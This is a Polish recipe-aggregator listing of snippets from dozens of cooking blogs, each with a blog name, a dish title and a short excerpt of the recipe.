oleju podsmażamy drobno pokrojone pieczarki i cebulę, solimy do smaku.  Blendujemy wraz z tofu i przyprawami na gładką pastę. Podajemy z chlebem, ale można też wykorzystać jako sos do makaronu.         Smacznego! 😇 ✩✩✩    Instagram  |  Facebook  |  YouTube

Kuchnia Ellie
Sałatka na ciepło z kaszą bulgur, kabanosem, pieczoną dynią, fetą i rozmarynem 207

warzywnego i zagotować. Kiedy wywar zacznie wrzeć dodać kaszę bulgur i gotować według wskazówek na opakowaniu. Do miski przesypać kaszę, dodać dynię, pokrojonego kabanosa wraz z fetą i skropić sosem powstałym z wymieszania oleju z pieczenia dyni z cytryną i miodem i lekko przemieszać. Na koniec doprawić szczyptą pieprzu. Podawać od razu. Smacznego! 😋 #krakus, #smacznieiszybko

Kraina Miodem Płynąca
szybkowar-pyszne gołąbki z sosem ze świeżych pomidorów... 193

całą noc w chłodnym miejscu na oleju podsmażyć cebulę z czosnkiem, wlać zmiksowane pomidory, dać kostki rosołowe, chili i gotować z 5 minut co jakiś zamieszać gołąbki włożyć do sosu - gołąbki z szybkowara są smaczne, aromatyczne i szybko można mieć przygotowane, nam smakują i na ciepło i tez na zimno........SMACZNEGO

W Mojej Kuchni Lubię
zapiekanka szpinakowa z jajkiem 183

częściej pojawiają się na naszym stole. Dawno nie  było makaronowej a że akurat miałam dużą paczkę muszli to akurat padło na nie. Nadziałam je mięsem i szpinakiem, zalałam sosem pomidorowym, na górze beszamel, z serem i jajka. Bardzo smaczny misz masz, w którym każdy znajdzie coś dla siebie.  Składniki: opakowanie makaronu duże muszle paczka mrożonego szpinaku

Domowa Cukierenka-Domowa Kuchnia
Polędwiczki wieprzowe w konfiturze jagodowej z jabłkiem, brzoskwinią, figą i rozmarynem 185

Ponownie wkładamy do piekarnika. Zmniejszamy temperaturę do 175C i w włączamy opcję termoobiegu lub grilla. Przez cały czas pieczenia nie przykrywałam mięsa, za to często je obracałam i polewałam sosem z koniaku, choć, oczywiście, alkohol straci swoją moc. Pieczemy ok. 25 min. Ponownie wyciągamy mięso i obkładamy je z wierzchu plasterkami świeżych fig. Wkładamy naczynie do piekarnika i w opcji

Raj dla Podniebienia
Naleśniki z serem i malinami 174

Można je podawać na słodko i na wytrawnie. Dobrze smakują z dżemem, czekoladą jak również z mięsem, grzybami czy sosami

Przepisy Kulinarne
Szynka długo duszona w papryce 216

wszystkich stron. Cebule pokroić na ćwiartki, paprykę w ósemki. Dodać do mięsa i podlać 2 szklankami wody. Dusić na bardzo małej mocy kuchenki przez około 2h. Powstały z gotowania sos można zagęścić rozrobiona w odrobinie wody łyżka mąki. Ciepła szynka świetnie nadaje się jako mięso do obiadu, wystudzona jako aromatyczna wędlina do kanapek

Pyry na Gaz
PIECZONY PASZTET DROBIOWY Z JAJKIEM (BEZ WĄTRÓBKI) 194

przykryć resztę masy. Całość dobrze uklepać i wygładzić. Pasztet wstawić do piekarnika nagrzanego do 180'C i piec około 50-60 minut.  Pasztet smakuje naprawdę wyśmienicie podany z sosem chrzanowym

Zrób to smacznie
Odcienie fioletu - sernik z czarnym bzem i figami 228

jeszcze chwilę aż do połączenia składników. Na patelnię włożyć figi, smażyć kilka minut - owoce powinny lekko zmięknąć, ale nie mogą się rozpadać. Ostudzone figi wyłożyć na sernik, polać powstałym sosem. Smacznego! Moje myśli powoli wędrują ku Halloween; przecież to już najwyższy czas, żeby wymyślić jakieś straszne słodkości

Pożeraczka, czyli raz adobrze
PAPRYKA W KECZUPIE - marynowana z curry i oregano 153

tych przypraw...jednak dzięki curry i oregano, papryka pachnie niczym pizza z pieca ;) Z tej ilości składników wyjdzie 5 litrów sałatki paprykowej, idealnej do obiadu, na kanapki lub jako sos do pizzy. Polecam Wam przepis, ulepszajcie go :) Pięknie pozdrawiam :) K.K. SKŁADNIKI : 3 kg czerwonej papryki, pokrojonej w paski 1 kg cebuli, pokrojonej w piórka 1 litr łagodnego keczupu 1 szklanka

Moja Książka Kucharska
Ziemniaki faszerowane mięsem 220

napełniamy ziemniaki i układamy na natłuszczonej blasze. Zapiekamy w 200 st. C / 15-20 min. Pięć minut przed końcem zapiekania posypujemy serem. Gotowe ziemniaki serwujemy na gorąco... same, z sosem, z surówkami czy do sałatki. Podajemy posypane zieleniną. Smacznego

chleba naszego
Do szkoły z Bacówką – Praktycznie i zdrowo 223

soczewicy lub ciecierzycy można przygotować nie tylko zupę, ale także kotleciki, pasztety i sałatki. Jeżeli dziecko lubi makaron, to kupujmy pełnoziarnisty albo gryczany lub z grochu. Podajmy go z sosem warzywnym. Bacówka proponuje szeroki wybór dań garmażeryjnych i makaronów, przygotowanych z wyselekcjonowanych składników, bez chemicznych dodatków i konserwantów, z których możemy wyczarować smakowity obiad. Za wyborem makaronów Bacówki przemawia też

Kulinarnyblog.pl - wiesz jak gotować!
Wegetariańskie leczo, gjuwecz bez mięsa. 203

wywar wymieszać i zagotować. Dodać pomidory z puszki i posiekany tymianek, Doprawić do smaku solą , Gotować na małym ogniu, aż mięso będzie miękkie. Jak płyn wyparuje, podlać wodą. Można sos lekko zagęścić mąką rozmieszaną w małej ilości wody. Dodać mąkę do gotującej się potrawy. Nie jest to konieczne. Można też gotować w elektrycznym garnku ustawiając na wolne gotowanie. Gotować wtedy

Kuchnia Pokoleń
Gruszki z chrupiącą kołderką 202

przygotowane wcześniej płatki. Zanim to jednak zrobimy do płatków dodajemy posiekaną drobno gorzką czekoladę. Tak przygotowane gruszki pieczemy jeszcze około 10 minut.  Podajemy gorące najlepiej z lodami lub sosem na bazie serka mascarpone czy bitą śmietaną. Uwagi: Do crumble można dodać ulubione przyprawy typu imbir, kardamon czy cynamon

Przysmaki Karolki
Corn-dogi 562

kawałki). Każdy kawałek nadziewamy na patyczek, zanurzamy w cieście i smażymy na głębokim oleju na złoty kolor. Odsączamy z nadmiaru tłuszczu na ręczniku papierowym. Podajemy z ulubionym sosem np. czosnkowym. Kategoria: Przystawki Tagged: jajko , mąka kukurydziana , parówki

Mam apetyt na ...
Sałatka z tuńczykiem i ananasem 194

tuńczykiem i ananasem – lekko słodka sałatka z makaronem, rybą i ananasem. Czas wykonania: 15 min Ilość porcji: 4-5 Składniki: puszka tuńczyka w sosie własnym ½ puszki kukurydzy ½ puszki ananasa 100 g makaronu kokardki 3 łyżki majonezu 100 g szparagi mrożonej 1 łyżeczka soli ½ łyżeczki pieprzu Przygotowanie: Szparagi i makaron ugotować zgodnie z opisem

KuchniaWeDwoje.pl
Śniadanie w "Chwila moment" w Gdyni 193

jajkami, ciecierzycą, cukinią, selerem naciowym i śmietaną, apetycznie zapiekaną na patelni - 19 zł bajgla z pastą tuńczykową jajka po bendedyktyńsku - dwa jajka z brioszką, szynką, świeżym szpinakiem i sosem holenderskim - 17 zł Portobello - kiełbaski, 2 paski grillowanego boczku, 2 sadzone jajka, pieczonym pomidor - 19 zł Do każdego śniadania dostałyśmy koszyk smacznego pieczywa. jedna z koleżanek zamawia jako dodatek biały

Kulinarne przygody Gatity
Rozgrzewający krem pomidorowy z bazylią. 166

oraz dalej gotujemy. 6. Przyprawiamy duża ilością świeżej bazylii oraz odrobiną pieprzu. (doprawiamy do odpowiedniego dla nas smaku) Zajrzyj również tu: 1.  Kieszonki z piersi z kurczaka z sosem kurkowym. 2.  Łatwy do zrobienia tort truskawkowy. 3.  Ciasto "Kubuś

My World by Dagmara Rek
Kluski ziemniaczane z pysznym farszem z mięsa i kapusty kiszonej 382

soli. Gotujemy na średnim ogniu od czasu do czasu mieszając .Jak kluski wyraźnie się powiększą i wypłyną to znak,że są gotowe. Kluski można podać z dowolnym dodatkiem z sosem,z bułką tartą. Mi zostało farszu dlatego podałam kluski właśnie z nim :) Polecam gorąco-są pyszne,sycące  i łatwe w przygotowaniu :) SMACZNEGO

moje pyszne łatwe i sprawdzone przepisy krok po kroku
Paprykarz domowy 292

drobną kostkę, zeszklić na oleju. Dodać marchew i paprykę, smażyć mieszając przez kilka minut, dodać przecier pomidorowy, dusić pod przykryciem aż warzywa będą miękkie (ok 15 minut), a sos zgęstnieje.  Ryż ugotować al dente, odcedzić, dodać do warzyw, wymieszać. Makrelę dodać do warzyw z ryżem, całość doprawić, wymieszać. Po wystudzeniu przechowywać w lodówce. Paprykarz można zapasteryzować: pastą wypełnić słoiki

Obiad gotowy
Makaron spaghetti w sosie pomidorowym z pulpetami 159

pulpety się poddusiły, wyciągam je z garnka. Do bulionu dodaję pokrojone w kosteczkę pomidory, pół pudełeczka passaty, przyprawiam solą, pieprzem i bazylią. Duszę ok 15 min na wolnym ogniu. Sos zaklepuję śmietaną i dwoma łyżkami mąki. <a href="http://durszlak.pl/akcje-kulinarne/swietuj-z-lubella-swiatowy-dzien-makaronu" >    <img src="https://durszlak.pl/system/banners/00/00/00/15/00embed_7ZrD6fP9cna2hoITbOyD7XikzsofDgzz.png?source=domowa-kuchnia-u-mamy"        alt="Świętuj z Lubellą Światowy

Domowa Kuchnia u Mamy
Nadziewane roladki z kurczaka ze szpinakiem i fetą 200

nawet polskie kurki! Moje niedzielne grzybobranie było bardzo skromne. Kurek nie nazbierałam ale ususzyłam trochę kozaków i prawdziwków. Lubicie nadziewane roladki z kurczaka? Polecam również przepis na roladki w sosie . Roladki z mięsa kurczaka to zazwyczaj filet z piersi ale równie dobrze można je przyrządzić z odfiletowanych udek . Nadziewane roladki z kurczaka Składniki: na 4 porcje 2 duże filety

codojedzenia
Spaghetti w paprykowo-pomidorowym sosie z serem owczym od Owcza Kraina 237

Dziś zapraszam Was na pyszne spaghetti w paprykowo-pomidorowym sosie z serem owczym od Owcza Kraina . Szybki, pyszny obiad pełen smaków. Jeśli jeszcze nie próbowaliście sera owczego, to zachęcam Was do tego. Idealny do wielu dań. W tym przypadku wspaniale wzbogaca smak. Ser pod wpływem ciepła delikatnie się topi… coś cudownego. Spróbujcie Ja znów muszę niedługo przygotować taki obiad

Słodkie okruszki
Jarzynka a la Vegeta – prosty przepis krok po kroku 517

Wami moim sprawdzonym przepisem na jarzynkę, która świetnie się sprawdza w trakcie zimowego gotowania. Jest ona nie tylko idealnym dodatkiem do potraw, ale również świetną bazą do zup i sosów. Dzięki niej, można w szybki sposób przygotować wywar, bez konieczności stosowania kostek rosołowych, czy przypraw typu Vegeta. W dodatku jej przygotowanie jest bardzo proste, choć wymaga nieco czasu, ale efekt

Okiem Blondynki by McBlondi
Burgery z czerwonego ryżu i pieczonego kalafiora 244

stronę przy pomocy szerokiej łopatki. Ponownie wstawić do piekarnika i piec dalsze 10 minut. Burgery świetnie smakują podawane z ulubionymi dodatkami w bułce z dobrej jakości majonezem i np. sosem BBQ , z frytkami, np. z batatów czy pikantnymi ziemniaczanymi łódeczkami , ale też jako element klasycznego obiadu. Smacznego! Masa na burgery powinna być na tyle kleista, by dała się łatwo formować

Even Better Food
Sałatka gyros z ananasem 360

Sałatka gyros ze słodkim akcentem w postaci ananasa. Jest pyszna i ciut inna niż ta tradycyjna. Do sałatki dodaję sos na który przepis warto sobie zapisać ponieważ z podanych proporcji wychodzi przepyszny. Czytaj więcej

Pychotkaaa
Szynka pieczona z lubczykiem na kanapki 183

Składniki: 1,5 kg szynki 3 łyżki oleju 3 łyżki sosu sojowego 1 łyżka octu jabłkowego 2 łyżki lubczyku 2 łyżki musztardy sarepskiej 2 łyżeczki soli 2 łyżeczki ostrej papryki 4 ząbki zmiażdżonego czosnku Sposób wykonania: Mięso myjemy, suszymy i nacieramy wszystkimi składnikami marynaty. Odkładamy na kilka godzin (na noc) do lodówki. Szynkę pieczemy w naczyniu żaroodpornym pod przykryciem

Qchnia po prostu
Pizzerki z kurczakiem i leśnymi grzybami. 247

groszkiem. Po wierzchu oprószamy ziołami i wkładamy do piekarnika na około 8 min. Po tym czasie posypujemy żółtym serem. Wkładamy tylko do czasu aż ser się rozpuści. Podajemy z sosem czosnkowym lub pomidorowym. Smacznego

Radość kipiąca uśmiechem.
ZAPIEKANKA MAKARONOWA Z KURCZAKIEM I WARZYWAMI / RYE PASTA CASSEROLE WITH VEGETABLES AND CHICKEN 132

pieprz, ulubione zioła i wszystko dokładnie wymieszaj, żeby warzywa się lekko zamarynowały. Kurczaka umyj, osusz, powycinaj nieładne kawałki mięsa. Wrzuć do miski i też wymieszaj z marynatą – oliwa, sos sojowy, kilka kropel tabasco, czosnek, sol, pieprz, zioła. Wszystkie warzywa, razem z marynatą wrzucamy na rozgrzaną patelnię, smażymy na sporym ogniu aż warzywa lekko zmiękną. Osobno smażymy pokrojonego buraka

Martyna Cooks
SZPINAKOWA SHAKSHOUKA / SPINACH SHAKSHOUKA 139

szpinak straci swoją objętość. Dorzuć na patelnię jogurt wymieszany z fetą pokrojoną w kawałki i czosnkiem przeciśniętym przez praskę. Duś i mieszaj aż na patelni będzie jednolity, gęsty „sos”. Rozłóż powstałą masę równomiernie na dnie patelni, ostrożnie wbij na jej wierzch jajka, tak, żeby żółtka się nie rozlały. Posyp pieprzem. Przykryj pokrywką, najlepiej szklaną, żeby było widać

Martyna Cooks
ROSÓŁ DROBIOWY / CHICKEN BROTH 149

ROSÓŁ DROBIOWY / CHICKEN BROTH Rosół, podstawa podstaw. Baza do wszystkich zup, przydatny przy gotowaniu sosów, pieczeniu mięs. Dzisiaj klasyczny, drobiowy, z którego powstaną dwie zupy – pomidorowa i kokosowa z kurczakiem, ale to w najbliższej przyszłości – dziś rosół gra główną rolę. Przepis niewiele się różni od przepisu na rosół wołowy , który gotowałam jakiś czas temu. Broth, the base

Martyna Cooks
Gulasz z gęsich żołądków z warzywami 212

cebulę, paprykę i cukinię, czosnek - posolić, dodać ciut pieprzu mielonego i dogotować całość do miękkości warzyw i mięsa, w tym czasie woda prawie się wygotuje, ale powinno pozostać trochę sosu Gulasz można podawać z kaszą lub drobnym makaronem. U mnie było samodzielnym daniem. Gulasz jest pyszny, dość proste do zrobienia, choć przygotowanie zajmuje trochę czasu. Ale warto

Proste Potrawy
Rozmarynowe risotto z gruszką w solonym karmelu! 223

przez 12 -15 minut, w połowie czasu obróć gruszki na drugą stronę.  Zdejmij pokrywkę, niech alkohol odparuje, dodaj syrop klonowy i sól himalajską, całość niech się zredukuje a sos skarmelizuje.  Na dużej patelni umieść łyżkę masła, resztę oliwy z oliwek, gałązki rozmarynu, dodaj ryż, całość przesmażaj przez 3 minuty, dodaj białe wino, jak ryż je wchłonie, dodaj bulion

SMYKWKUCHNI
Sałatka z pieczoną dynią i serem feta 151

minut. Ma być miękka, ale nie rozpadająca. Upieczoną dynię przełożyłem na półmisek, doprawiłem solą i pieprzem, rozłożyłem drobne listki rukoli, na wierzchu pokruszony ser feta. Całość polałem płynnym miodem, sosem balsamino i oliwą

R'n'G Kitchen
Suflet ziemniaczany z parmezanem 209

Suflet ziemniaczany z parmezanem Przystawka na jesienne wieczory, puszysta i smaczna. Dobrze pasuje do nabiału, przeróżnych mięs, ryb oraz sosów. U mnie była to uczta z dodatkiem sałaty batawii, mojej ulubionej. Proporcja na 4 kokilki. Składniki: 4 ugotowane ziemniaki  2 jajka 1 płaska łyżeczka soli morskiej 1 szczypta świeżo zmielonego pieprzu 1 szczypta świeżo startej gałki muszkatołowej 1 garść

Wino Francja Kuchnia
Sos grzybowy z makaronem 149

drobną kostkę, wrzucić na rozgrzane masło, zeszklić. Dodać grzyby, smażyć kilka minut, co jakiś czas mieszając, aż grzybki zmiękną.  Na koniec wlać śmietankę, smażyć chwilę do momentu zgęstnienia sosu, doprawić do smaku.  Podawać z makaronem. Udekorować natką. SMACZNEGO

kulinarnyswiatdomi
Gnocchi z pastą z suszonych pomidorów i żurawiny 169

kopytek. Są jednak nieco lżejsze i delikatnejsze w smaku i strukturze. To tradycyjna potrawa z serca Italii, która może stanowić danie samo w sobie, na przykład w towarzystwie jakiegoś sosu, lub dodatek. Dziś mam dla Was przepis na gnocchi z pastą z suszonych pomidorów i żurawiny podsmażone na maśle z odrobiną rozmarynu. Niebo w gębie! Jak zawsze szybko i prosto

Mostek w kuchni
Tosty francuskie ze śliwkami flambirowanymi w whisky 153

drugiej patelni * rozgrzej 1 łyżkę masła, podsmaż na nim śliwki – do momentu aż zmiękną, dopraw cynamonem. Zwiększ płomień, dolej whisky i podpal. Tosty podawaj ze śliwkami oraz powstałym sosem i z jogurtem naturalnym. Smacznego ! * Ważne by patelnia nie była za wysoka. Łatwiej będzie Wam podpalić gruszki

Moja pasja smaku
Zupa krem z pieczonych pieczarek 337

minut. 2. Marchew, ziemniaki, pietruszkę i seler obieramy, kroimy na mniejsze kawałki. Zalewamy 2 litrami wody, gotujemy do miękkości warzyw. Dodajemy upieczone pieczarki i cebulę wraz z powstałym sosem, przyprawy i śmietankę. Studzimy, miksujemy na gładki krem. Przed podaniem posypujemy startym żółtym serem, posypujemy natką pietruszki

Szefowa kuchni
Kotlety ziemniaczane z twarogiem 304

Bardzo lubię placki ziemniaczane ale niestety zazwyczaj ich zjedzenie odchorowuję, są zbyt ciężkostrawne. Dlatego też wolę kotlety ziemniaczane. Moja babcia była mistrzynią tychże i robiła rewelacyjny sos grzybowy, którym wszyscy się zajadali...  smak nie do podrobienia, niestety :( W ubiegły piątek zrobiłam kotlety po swojemu. Nadałam im wygląd paluszków także Syncio nawet myślał, że je rybę hehe. Idealnie smakowały

Dzieje kuchennej Wiewióry
PIECZONE JABŁKA Z TWAROŻKIEM 156

Propozycja idealna na podwieczorek, kolację, śniadanie czy deser... jabłka nadziewane twarożkiem z cynamonem, kokosem oraz orzechami, zapieczone w piekarniku i podane z gęstym, aromatycznym sosem o smaku czarnej porzeczki. Nie jest to typowy słodki deser, gdyż delikatna słodycz przełamana jest nutą przyjemnego smaku czarnej porzeczki. Pyszne połączenie, które zadowoli nawet osoby, które za słodkim nie przepadają. Glazura balsamiczna o smaku

Kuchnia MagdaLeny
Podgrzybki w sosie winno-śmietanowym 125

kiedy mamy grzyby świeże, ale polecam również zamrożenie  grzybów, ja je tylko lekko parzę przez 2-3 minuty. Po sezonie grzybowym, będą jak znalazł na przygotowanie tego pysznego sosu. Składniki: 700 g podgrzybków 2 średnie cebule 2 łyżki oleju 1 łyżka masła 100 ml białego półwytrawnego wina 150 ml śmietany słodkiej 18%  1/2 pęczka koperku  sól

Gosia gotuje
KETO GOFRY KOKOSOWE (keto, LCHF, paleo, optymalne, bez glutenu, laktozy i cukru) 296

oleju kokosowego a następnie wlewać gotowe ciasto. Długość pieczenia zależy od mocy gofrownicy i Waszych preferencji My lubimy lekko rumiane.   Gotowe gofry podawać z bitą śmietaną, masłem orzechowym , sosem czekoladowym na bazie gorzkiej czekolady, leju kokosowego lub MCT, dżemem bez cukru lub orzechami . Jak zawsze ogranicza Was tylko makro i Wasza wyobraźnia Polecam również wersje wytrawne z jajkiem, boczkiem

Ola la LCHF
Zupa grzybowa krem z leśnych grzybów 187

grzankami. Smacznego zupa grzybowa krem ze świeżych grzybów leśnych Zapraszam również do skorzystania z innych przepisów: Włoska zupa krem z pomidorów z dodatkiem pesto Zupa krem z cukinii – przepis Sos ze świeżych grzybów leśnych Artykuł Zupa grzybowa krem z leśnych grzybów pochodzi z serwisu Księga Smaku

Księga-Smaku
Schab z jabłkiem i cebulką 193

pieczenia. Wstawiamy do piekarnika nagrzanego do 180⁰C i pieczemy godzinę, po czym przekładamy do ceramicznego naczynia i podpiekamy jeszcze przez 20 minut, podlewając pozostawionym z wcześniejszego pieczenia sosem

Kuchnia w czekoladzie
NALEŚNIKI Z SEREM W SOSIE POMARAŃCZOWYM 196

brązowego 2 jajka 1 łyżka oleju Farsz 300 g sera białego 3 łyżki rodzynek 3 łyżki cukru trzcinowego 3 łyżki cukru wanilinowego Sok z 1/2 pomarańczy 3 łyżki śmietany Sos pomarańczowy Sok z 2 pomarańczy Skórka otarta z wyparzonych pomarańczy 2 łyżki masła PRZYGOTOWANIE:  Składniki ciasta dokładnie łącze ze sobą za pomocą miksera. Ja dodałam niebieski barwnik ale można

Gotowanie Patki
Sałatka z roszponką, gruszką i camembertem z miodowym dressingiem 161

roszponce. Camembert dzielimy na ćwiartki, a następnie kroimy na plastry, układamy na talerzu z roszponką i gruszką. Miód mieszamy starannie z olejem rzepakowym, doprawiamy do smaku. Tak przygotowanym sosem miodowym skrapiamy sałatkę

Moja smaczna kuchnia
Suszone grzyby 183

jaki będzie przyszły rok. Ja suszyłam borowiki i podgrzybki, które szczelnie zamknęłam w 6 dużych słojach litrowych i półtoralitrowych. Takie grzyby są niezastąpione do dań wigilijnych, ale nie tylko. Sosy czy zupy dzięki nim nabierają innego wymiaru i nawet najprostsze danie, smakuje wybornie. Jak suszyć grzyby? Metod jest kilka, promienie słoneczne, suszarka, piekarnik czy kaloryfer. Ja nie mam suszarki więc

Gosia gotuje
Francuska tarta z żółtą cukinią w plasterkach 213

Durbuy- najmniejsze miasteczko w Belgii Przepis na francuską tartę z żółtą cukinią w plasterkach z pewnością się Wam spodoba. Kruche ciasto pachnące masełkiem, chrupiące plasterki cukini, a wszystko zalane sosem śmietanowo-jajecznym i pięknie zapieczone w piekarniku. Przepis pochodzi z kuchni francuskiej, więc dodatkowo zapraszam

dolcevitainmykitchen
Lunch po koreańsku 125

ugotowanym ryżem. Mniam, mniam Polecam też to danie w wersji na lunch do pracy lub szkoły! Składniki: tofu smażone cukinia po koreańsku sałatka zielona z pomidorami i ogórkiem z sosem pomarańczowym szpinak po koreańsku ugotowany ryż Wykonanie: Nałożyć do miseczek , ułożyć na stole, zaprosić najbliższych i ucztować Równie dobrze można miseczki zapakować do pracy i tam skonsumować pyszności. Smacznego! Artykuł

Lamarida.pl
Mini kokardki z brukselką 190

jest dobrze zrobiona. Dzisiejszym przepisem śmiało można uwieść najzagorzalszych przeciwników brukselki. Dzisiaj proponuję brukselkę smażoną na maśle i czosnku z małymi makaronowymi  kokardkami od Lubelli , odrobiną boczku i sosem śmietanowym. W daniu brukselka jest chrupiąca co świetnie współgra z lekkim makaronem. Całość w smaku przypomina dobrze wszystkim znaną carbonarę. BRUKSELKOWE KOKARDKI  Składniki: 250 g makaronu małe kokardki Lubella

Bon appetit mon amie
Lazania z brokułem 211

pieprzem. Przygotować beszamel. Na patelni rozpuścić masło. Dodać mąkę i energicznie wymieszać aby nie było grudek. Następnie wlać mleko. Doprawić do smaku solą, pieprzem i gałką. Gotować aż sos zgęstnieje. Do farszu brokułowego dodać 4 łyżki beszamelu i dokładnie wymieszać. Naczynie żaroodporne nasmarować masłem. Ułożyć 2 płaty makaronu i posmarować brokułowym farszem i ponownie 2 płaty makaronu

Monia miesza i gotuje
Sałatka z grillowanym kurczakiem i sosem miodowo-musztardowym 328

Prosta sałatka z grillowanym kurczakiem i sosem miodowo-musztardowym. Kurczaka oczyścić i podzielić na mniejsze części. Jeśli kawałki są bardzo grube, można je lekko rozbić tłuczkiem. Mięso przełożyć do głębokiego naczynia

Bullio
Z cyklu: Dla dzieci - Razowe krakersy z płatkami owsianymi i sezamem (Cracker integrali ai fiocchi di avena e sesamo) 198

razowej z płatkami owsianymi i sezamem. Proste i szybkie w przygotowaniu a do tego niesamowicie chrupiące. Krakersy s ą  wspaniałym dodatkiem do rożnego rodzaju sosów lub dipów i idealnym zamiennikiem chipsów, paluszków lub innych słonych przekąsek.  Klasa Emmy już przetestowała mój przepis i byli zachwyceni smakiem krakersów, mam nadziej ę ,  ż e i Wam będą smakowały :) polecam

La grande e la piccola cuoca
Solony karmel 189

Co ja na to poradzę, że mam ogromną słabość do solonego karmelu ??? Czy Wy też ? Choć muszę się Wam przyznać, że to nie była miłość od

Kulinarne przygody Gatity
Makaron udon z wędzonym łososiem i sezamem 149

filety wędzonego łososia dzikiego 150 g makaronu udon 2 posiekane dymki 1 nieduża zielona papryka 2 łyżeczki uprażonych ziaren sezamu Dressing : 2 łyżeczki oleju sezamowego 2 łyżeczki ciemnego sosu sojowego sok z jednej limonki     Przygotowanie   W dużej misce wymieszałam składniki dressingu. dodałam makaron i dokładnie wymieszałam. Ugotowałem udon według przepisu na opakowaniu (mój był świeży, więc wystarczyły

R'n'G Kitchen
Czas na krewetki kilka pomysłów 215

danie z frytkami lub ryżem. Wedle uznania. Czas przygotowania wynosi około 30 minut. Jedna porcja zawiera 350 kalorii. Danie to możesz polecić swoim znajomym bez dwóch zdań. Spaghetti w sosie pomidorowym z krewetkami 12 krewetek obranych, makaron spaghetti, 4-5 ząbków czosnku, natka pietruszki, sól pieprz, 1 łyżeczka masła do smażenia, 2 łyżki koncentratu pomidorowego, 1 łyżeczka soku z cytryny

Kulinarnyblog.pl - wiesz jak gotować!
Bułki z grzybami 170

pojawiły się na blogu. Z tą różnicą, że zamiast pieczarek są grzyby. A jak smakują? Fantastyczne ciasto, aromatyczny farsz - chce się sięgać po kolejną. Do tego jakiś dobry, ostry sos i przekąska gotowa :) Składniki: Ciasto: 500 g mąki pszennej 1/2 szklanki ciepłego mleka 1/2 szklanki ciepłej wody 2 łyżki oleju 1 jajko 1 łyżeczka soli 25 g świeżych drożdży

My simple kitchen
Rydze z boczkiem 243

Dzisiaj krótko i na temat. Pogoda za oknem do bani. Poprzedni weekend był chyba ostatnim w tym roku z taką letnią aurą. Teraz tylko plucha, wiatr

slodkokwasnapl
MAKARON ZE SŁODKĄ ŚMIETANKĄ I GRANA PADANO 215

odrobiną soli do momentu zarumienienia się. Następnie wlewam śmietankę, wsypuję ser, dodaję odrobinę soli i świeżo mielony pieprz. Gotuję na małym ogniu często mieszając około 7-9 minut (aż sos zgęstnieje).  Na koniec wrzucam natkę pietruszki i łączę z ugotowanym makaronem

JejKuchnia
ZUPA GRZYBOWA JAK U BABCI 198

małym ogniu, aż mięso będzie miękkie. Na patelni na oliwie podsmaż pokrojone w plastry grzyby, smaż je partiami i dodawaj do zupy, przesmaż czosnek i dodaj z całym sosem z patelni do zupy.  Zupę z grzybami gotuj przez 5- 10 minut. Zupę zagęszczamy 1 łyżką mąki, w tym celu mąkę umieść w kubku i wymieszaj z 1/4 szklanki wody

SMYKWKUCHNI
PIEROGI Z SEREM I RODZYNKAMI 186

solę oraz wlewam olej. Wkładam pierogi, kilka sztuk. Gotuję ok 5 min po wpłynięciu. Ja mam spore pierogi natomiast jeśli są małe wystarczy 2-3 minuty. Podaję ze śmietaną, sosem waniliowym lub owocami

Gotowanie Patki
Knedle ze śliwkami – sprawdzony przepis 281

Ugotowane knedle wyciągamy łyżką cedzakową, polewamy roztopionym masłem i oprószamy zrumienioną bułką tartą Knedle możemy dodatkowo podać z bitą śmietaną. Zapraszam również do skorzystania z innych przepisów: Gnocchi w sosie serowym Knedle z truskawkami Pierogi z kaszą gryczaną i serem Artykuł Knedle ze śliwkami – sprawdzony przepis pochodzi z serwisu Księga Smaku

Księga-Smaku
Grzyby leśne w pomidorach – przepis 608

solą i pieprzem. Gotowe grzyby w pomidorach przekładamy do słoików, szczelnie zakręcamy i pasteryzujemy przez 15 min. Smacznego. Zapraszam również do skorzystania z innych przepisów: Grzyby marynowane w occie Sos ze świeżych grzybów leśnych   Artykuł Grzyby leśne w pomidorach – przepis pochodzi z serwisu Księga Smaku

Księga-Smaku
Mrożona kawa z lodami i jagodową nutką. 194

dwóch szklanek. 2. Jagody kamczackie płuczemy i dokładnie osuszamy, następnie miksujemy blenderem na gładki mus dodając cukru do smaku. 3. Do zimnej kawy dodajemy po porcji lodów, polewamy sosem owocowym, dekorujemy posypką i podajemy. 4. Życzę smacznego

Izabelawkuchni
policzki wołowe 340

przesmażyć cebulę. Kiedy się zrumieni, włożyć do niej mięso, zdeglasować czerwonym winem (w efekcie wlać prawie całą butelkę), dodać pomidory. Kawałki mięsa powinny być zanurzone do 2/3 w sosie. Przykryć niezbyt szczelnie i wstawić do piekarnika na 3 godziny. Po tym czasie mięso rozpada się na kawałki przy minimalnym nacisku widelca

stajnia gołębie od kuchni
Sałatka z wędzonym serem 253

Składniki: 50 g roszponki kawałek wędzonego sera 4 jajka 100 g pieczarek 1 szalotka sos: 2 ząbki czosnku 1/2 łyżeczki ziół prowansalskich szczypta soli i pieprzu 4 łyżki oliwy 1 … Czytaj dalej Sałatka z wędzonym serem

czarrna od kuchni
Keczup na bazie dyni 155

dynie, ten wygrany! Może pichcić różne smakołyki. Ja też dorzucam swoje trzy grosze w kategorii sosy. Zrobiłam pyszny keczup na bazie dyni. I powiem Wam, że jest o niebo lepszy od kupnego. Przepis dostałam od swej koleżanki razem z pełnym słoikiem do próbowania ☺ . Potrzebujemy: Czytaj więcej

Tylko pysznie
Kolorowa pieczeń z mięsa mielonego 181

Zielona i czerwona papryka, a także żółty ser nadają niepowtarzalny urok tej potrawie. Podobnie, jak jest w przypadku pieczeni rzymskiej , kolorowa pieczeń może być podana jako danie główne z sosem, albo jako przystawka. Jeśli potrzebujecie ostrych noży do kuchni, powinniście sprawdzić je w tym sklepie. Film Składniki 700 g mięsa mielonego z łopatki 1 cebula 3 ząbki czosnku 8 łyżek

Kuchennyviral.pl
Pierś z kurczaka w pesto 166

pracy i odgrzać sobie choćby w mikrofali. Pierś z kurczaka w pesto można podawać do sałatek, na rukoli i etc. Przepis jest propozycją dla osób uwielbiających zielone pesto, czyli sos pochodzący z Genui (Liguria) we Włoszech, którego głównym składnikiem jest bazylia. Film Jeśli potrzebujecie ostrych noży do kuchni, powinniście sprawdzić je w tym sklepie. Składniki na pierś z kurczaka

Kuchennyviral.pl
Tuńczyk z jabłkiem w kanapce 193

łączyć ryby z owocami. Na moim blogu możecie na przykład odnaleźć sałatkowe połączenie śledzia z granatem , ale też mam na swojej liście film z przygotowania ryby w curry z sosem mandarynkowym . Stąd też postanowiłem połączyć tuńczyka z jabłkiem. Całość podaje w kanapce ozdabiając ją sałatą. Bogactwa smaku dodają orzechy pecan a chrupkości seler naciowy. Działamy! Zacznijcie od obejrzenia krótkiego filmu

Kuchennyviral.pl
